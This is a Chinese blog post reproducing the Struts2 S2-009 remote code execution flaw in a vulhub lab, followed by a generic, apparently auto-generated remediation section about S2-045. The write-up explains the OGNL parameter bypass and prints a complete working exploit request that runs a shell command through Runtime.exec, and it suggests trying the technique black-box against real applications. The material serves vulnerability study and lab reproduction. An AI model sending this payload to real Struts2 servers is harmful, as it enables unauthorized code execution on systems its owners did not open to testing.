vulhub中Struts2-009 远程代码执行漏洞复现

本文详细描述了Struts2中的一个漏洞利用案例,利用OGNL表达式绕过官方对特殊字符的防御,通过Example5Action的参数传递执行任意代码。作者展示了如何在实际环境中构造Exploit并成功绕过安全措施。
摘要由CSDN通过智能技术生成

影响版本: 2.1.0 - 2.3.1.1

## 原理

> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

参考[Struts2漏洞分析之Ognl表达式特性引发的新思路](https://www.t00ls.net/viewthread.php?tid=21197),文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于`#`号,同样使用编码`\u0023`或`\43`进行绕过;于是Struts2对s2-005的修复方法是禁止`\`等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数`example`,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在`example`参数中,然后使用`/helloword.acton?example=<OGNL statement>&(example)('xxx')=1`的方法来执行它,从而绕过官方对`#`、`\`等特殊字符的防御。

Exploit构造

测试环境是一个struts2的“功能展示”网站`Struts Showcase`,代码很多,我们的目标是去找一个接受了参数,参数类型是string的action。

先对`S2-009.war`进行解压(我用binwalk,其实直接zip就可以),可见源码都在`WEB-INF/src`目录中,我一般找ajax相关的代码,这些代码一般逻辑比较简单。

找到一个`WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java`:

```java
public class Example5Action extends ActionSupport {

    private static final long serialVersionUID = 2111967621952300611L;

    private String name;
    private Integer age;


    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public Integer getAge() { return age; }
    public void setAge(Integer age) { this.age = age; }

    @Override
    public String execute() throws Exception {
        return SUCCESS;
    }
}
```

代码没有更简单了,其接受了name参数并调用setName将其赋值给私有属性`this.name`,正是符合我们的要求。然后去`WEB-INF/src/java/struts-ajax.xml`看一下URL路由:

```xml
<package name="ajax" extends="struts-default">
    ...
    <action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action">
        <result name="input">/ajax/tabbedpanel/example5.jsp</result>
        <result>/ajax/tabbedpanel/example5Ok.jsp</result>
    </action>
    ...
</package>
```

上面的这些其实都可以不看,

`name=example5`,所以访问`http://your-ip:8080/ajax/example5.action`即可访问该控制器。按照原理中说到的方法,将OGNL利用代码放在name参数里,访问该URL:

GET /ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

由于该POC没有回显,所以调用的是`touch /tmp/success`命令,查看/tmp目录发现已经成功:

黑盒情况下,这个洞也不是限制特别大。只要你在正常业务中找到传参的地方,就用该参数名可以试试。

  • 23
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Struts2命令执行漏洞s2-045是指Struts2框架的一个安全漏洞,攻击者可以通过特殊构造的参数来执行任意命令。 修复Struts2命令执行漏洞s2-045需要采取以下步骤: 1. 升级Struts2版本:首先需要升级到Struts2最新版本,因为漏洞是在旧版本存在的。最新版本通常会修复已知的安全漏洞,并提供其他改进。 2. 配置安全策略:在Struts2的配置文件,可以添加一些安全策略来防止命令执行漏洞的利用。可以禁用某些敏感的操作或限制特定的请求访问权限。 3. 过滤用户输入:对于用户输入的数据,应该进行有效的过滤和验证。可以使用正则表达式或特定的字符过滤函数来检查输入的合法性,避免注入恶意代码。 4. 校验URL:URL的参数也需要进行校验和过滤,以防止攻击者通过URL参数来执行恶意代码。 5. 防火墙和Web应用程序防护:在服务器上配置防火墙和Web应用程序防护系统,可以增加额外的安全层。这些系统可以检测和阻止恶意的URL请求,减少被攻击的风险。 6. 定期更新和审查:持续关注Struts2的安全公告和更新,及时升级修复已知的安全漏洞。同时,定期审查应用程序的安全配置和代码,发现并修复可能存在的漏洞。 通过以上措施,可以有效修复Struts2命令执行漏洞s2-045,提高应用程序的安全性,防止被攻击和利用。同时,建议开发人员和管理员密切关注最新的安全漏洞信息,及时采取相应的措施进行修复和防范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值